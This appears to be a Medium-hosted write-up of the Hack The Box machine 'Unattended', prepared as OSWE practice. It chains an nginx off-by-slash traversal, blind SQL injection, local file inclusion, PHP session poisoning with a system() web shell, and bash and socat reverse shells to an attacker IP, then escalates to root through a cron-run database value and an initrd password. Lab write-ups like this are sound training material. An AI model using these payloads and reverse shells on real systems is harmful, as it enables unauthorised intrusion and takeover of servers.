[HTB] Unattended — Writeup (OSWE-Prep)

Unattended was a medium difficulty Linux box. Good learning path for:

Initial Recon

Nmap

#  nmap -Pn --open -T4 -sV -sC -p- 10.10.10.126Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-12 12:33 EDT
Nmap scan report for 10.10.10.126
Host is up (0.078s latency).
Not shown: 65533 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.10.3
|_http-server-header: nginx/1.10.3
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http nginx 1.10.3
|_http-server-header: nginx/1.10.3
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.nestedflanders.htb/organizationName=Unattended ltd/stateOrProvinceName=IT/countryName=IT
| Not valid before: 2018-12-19T09:43:58
|_Not valid after: 2021-09-13T09:43:58

Web Directory Enumeration (Gobuster)

As usual, I ran a quick gobuster to see if I could discover more of the interesting files/folders on the web server.

# gobuster dir -u https://www.nestedflanders.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k-k: Ignore the SSL verification

Initial Foothold

Nginx off-by-slash

As I inspected their server response headers, I could determine the web server was nginx/1.10.3. And I found it interesting that when /dev was being rendered, it was adding / at the end. It turned out to be it was vulnerable to Nginx off-by-slash attack.

https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf

Using the following payload, I was able to read the source code of index.php file.

GET /dev../html/index.php HTTP/1.1

Most interesting things were it contained some database credentials nestedflanders : 1036913cf7d38d4ea4f79b050f171e9fbf3f5e (DB: neddy) and insecure code for a potentials SQLi.

SQL Injection (Boolean-based Blind)

As we can see from the $valid_ids array, the index.php web page layouts its menus for:

From the source code, we also understand that it will redirect to id=25 (main) page if it meets one of the valid ids, it will render one of the 3 pages (25, 465, 587) but if not it will render 25 which is the main page.

$valid_ids = array (25,465,587);
if ( (array_key_exists('id', $_GET)) && (intval($_GET['id']) == $_GET['id']) && (in_array(intval($_GET['id']),$valid_ids)) ) {
$sql = "SELECT name FROM idname where id = '".$_GET['id']."'";
} else {
$sql = "SELECT name FROM idname where id = '25'";
}

Confirming the SQLi

I used a simple payload to confirm the SQLi in the id= parameter.

# TRUE Statement
https://www.nestedflanders.htb/index.php?id=465%27%20and%201=1--%20-

It rendered the contact page correctly.

# FALSE Statement
https://www.nestedflanders.htb/index.php?id=465%27%20and%201=2--%20-

It rendered the main page indicating the SQL query was FALSE.

Cool! Since I had access to the source code (index.php), I wanted to create my own testing lab to learn deeper about what was going on with the SQLi.

Creating a Lab Environment

To test this out, we would need Apache2 web server + MySQL database. One could use docker to create an environment, but I just used my Kali to create the lab.

MySQL Setup

I logged into MySQL (installed on Kali by default) using the following command:

root@kali:~# mysql -h localhost -u root -p
Enter password: (toor) <-- Unless you changed to something else

Using the following commands, create the necessary database and tables to match the variables from the index.php source code:

### Create DB
MariaDB [(none)]> CREATE DATABASE unattended;
MariaDB [(none)]> USE unattended;
MariaDB [unattended]> CREATE TABLE `idname` (`id` int(11) NOT NULL, `name` varchar(20) NOT NULL) ENGINE=InnoDB DEFAULT CHARSET=latin1;MariaDB [unattended]> CREATE TABLE `filepath` (`name` varchar(20) NOT NULL, `path` varchar(20) NOT NULL) ENGINE=InnoDB DEFAULT CHARSET=latin1;MariaDB [unattended]> INSERT INTO `idname` (`id`, `name`) VALUES (25, 'main'), (465, 'about'), (587, 'contact');MariaDB [unattended]> INSERT INTO `filepath` (`path`, `name`) VALUES ('main.php', 'main'), ('about.php', 'about'), ('contact.php', 'contact');

To test the connectivity between the Apache2 and MySQL database, I used the following script to test:

But I got Connection Failed…

It looked like some type of permission issue, so I decided to create a new user bigb0ss and gave him the full permission.

### Create new user
MariaDB [(none)]> CREATE USER 'bigb0ss'@'localhost' identified by 'password';
MariaDB [(none)]> grant all privileges on unattended.* to 'bigb0ss'@'localhost' identified by 'password' with grant option;MariaDB [(none)]> flush privileges;

When I tested it, it worked perfectly and the connection succeeded!

Apache2 & index.php Setup

I modified the index.php as following (Make sure to enable the $debug to True):

And created 6fb17817efb4131ae4ae1acae0f7fd48.php file and placed both files in the /var/www/html folder.

When I visited http://localhost/index.php, everything was working as intended.

SQLi → LFI

With the testing lab setup, I played with the SQLi more along with the index.php source code review. From the source code review, I could see a dangerous function in line 96:

<?php
include("$inc");
?>

This PHP code can read a file included for the include() function. For example,

So our attack path would be something like below:

Using the following UNION SELECT payload, I was able to accomplish LFI:

http://localhost/index.php?id=465%27+and+1=2+UNION+SELECT+%27about1\%27+UNION+SELECT+\%27/etc/hosts%27--+-

LFI → PHP Session Poisoning → RCE

As I captured the GET request with Burp, I noticed that PHPSESSID= was added to the Cookie: header. So I checked my testing lab’s PHP sessions and was able to find it.

Using the following payload, I could gain a RCE :

# PHP Cookie Poisoning PayloadGET /index.php?cmd=id&id=465'+and+1=2+UNION+SELECT+'about1\'+UNION+SELECT+\'/var/lib/php/sessions/sess_t7lqr78aj2ql8480nfoc8rboa7'--+- HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=t7lqr78aj2ql8480nfoc8rboa7; bigb0ss=<%3fphp+system($_REQUEST['cmd'])%3b+%3f>;
Upgrade-Insecure-Requests: 1

Reverse Shell

Now, I knew how to get a RCE against the application. I put all together to gain reverse shell from the Unattended box.

# Bash Reverse Shellbash -c 'bash -i >& /dev/tcp/10.10.14.12/443 0>&1'

Reverse Shell (TTY Shell with socket)

There was no python/python3 in the box, so there was no easy way to get a TTY shell.

# socket Reverse Shell (TTY)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.12:443
# socket Listener
socat file:`tty`,raw,echo=0 tcp-listen:443,reuseaddr

Privilege Escalation

www-data → guly (MySQL checkrelease)

With shell access, I used the MySQL credentials found in index.php file to login the the database.

www-data@unattended:/var/www/html$ mysql -h localhost -u nestedflanders -D neddy -p
Enter password: (1036913cf7d38d4ea4f79b050f171e9fbf3f5e)
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 1346
Server version: 10.1.37-MariaDB-0+deb9u1 Debian 9.6
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.MariaDB [neddy]> show tables;
+-----------------+
| Tables_in_neddy |
+-----------------+
| config |
| customers |
| employees |
| filepath |
| idname |
| offices |
| orderdetails |
| orders |
| payments |
| productlines |
| products |
+-----------------+
11 rows in set (0.00 sec)

The config tables seemed interesting. When I queried the table, checkrelease option had some Perl scripts located in the guly user’s home directory.

I updated the config value for the checkrelease option with the following reverse shell one-liner.:

MariaDB [neddy]> update config set option_value = "socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.12:443" where id = 86;

MariaDB [neddy]> select * from config where id = 86;

After a few minutes, checkrelease was restored back to its original Perl scripts (suspecting there are some type of cronjob running it as guly user) and in my listener, I got a callback as the guly user.

user.txt

guly → root (initrd)

guly was part of many groups, and grub group looked interesting since it wasn’t a standard Debian groups. (Typical group list can be found here)

guly@unattended:~$ uname -a
Linux unattended 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 GNU/Linux
guly@unattended:~$ groups
guly cdrom floppy audio dip video plugdev grub netdev

Then, I searched for any file that grub group owns.

guly@unattended:~$ find / -group grub 2>/dev/null
/boot/initrd.img-4.9.0-8-amd64
guly@unattended:~$ ls -la /boot/initrd.img-4.9.0-8-amd64
-rw-r----- 1 root grub 19715792 Aug 23 2019 /boot/initrd.img-4.9.0-8-amd64
guly@unattended:~$ file /boot/initrd.img-4.9.0-8-amd64
/boot/initrd.img-4.9.0-8-amd64: gzip compressed data, last modified: Fri Aug 23 09:26:41 2019, from Unix

It was a gzip compressed data and using the following command I decompressed it:

guly@unattended:~$ mkdir bigb0ss && cd bigb0ss
guly@unattended:~/bigb0ss$ zcat /boot/initrd.img-4.9.0-8-amd64 | cpio -idmv
.
boot
boot/guid
lib64
lib64/ld-linux-x86-64.so.2
init
scripts
scripts/nfs
scripts/local-block
scripts/local-block/ORDER
scripts/local-block/cryptroot
scripts/init-top
scripts/init-top/ORDER
...snip...
guly@unattended:~/bigb0ss$ ls -la
total 52
drwxr-xr-x 11 guly guly 4096 Apr 12 23:40 .
drwxr-x--- 3 guly guly 4096 Apr 12 23:39 ..
drwxr-xr-x 2 guly guly 4096 Apr 12 23:40 bin
drwxr-xr-x 2 guly guly 4096 Apr 12 23:40 boot
drwxr-xr-x 3 guly guly 4096 Apr 12 23:40 conf
drwxr-xr-x 5 guly guly 4096 Apr 12 23:40 etc
-rwxr-xr-x 1 guly guly 5960 Apr 23 2017 init
drwxr-xr-x 8 guly guly 4096 Apr 12 23:40 lib
drwxr-xr-x 2 guly guly 4096 Apr 12 23:40 lib64
drwxr-xr-x 2 guly guly 4096 Aug 23 2019 run
drwxr-xr-x 2 guly guly 4096 Apr 12 23:40 sbin
drwxr-xr-x 8 guly guly 4096 Apr 12 23:40 scripts

Further enumeration found an interesting function within the scripts/local-top/cryptroot.

cryptroot

The above if statement was checking if the generated password is not meet $cryptopen, then say failed crytpsetup attempt. So I just run the following command and it generated the root password.

guly@unattended:~/bigb0ss$ ./sbin/uinitrd c0m3s3f0ss34nt4n1
132f93ab100671dcb263acaf5dc95d8260e8b7c6

root.txt

Using the password, I was able to successfully escalate to root and read the root.txt flag.

Conclusion

This box was super fun. I had to chain multiple attack vectors in order to gain first initial access. Plus this box also required a lot of source code review especially for PHP. Those were super relevant to OSWE. I highly recommend this box to anyone who is preparing for OSWE. Thanks for reading!

Thanks to TJ_NULL for providing the list for the OSWE-like VMs

OSCE | OSCP | CREST | Offensive Security Consultant — All about Penetration Test | Red Team | Cloud Security | Web Application Security

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store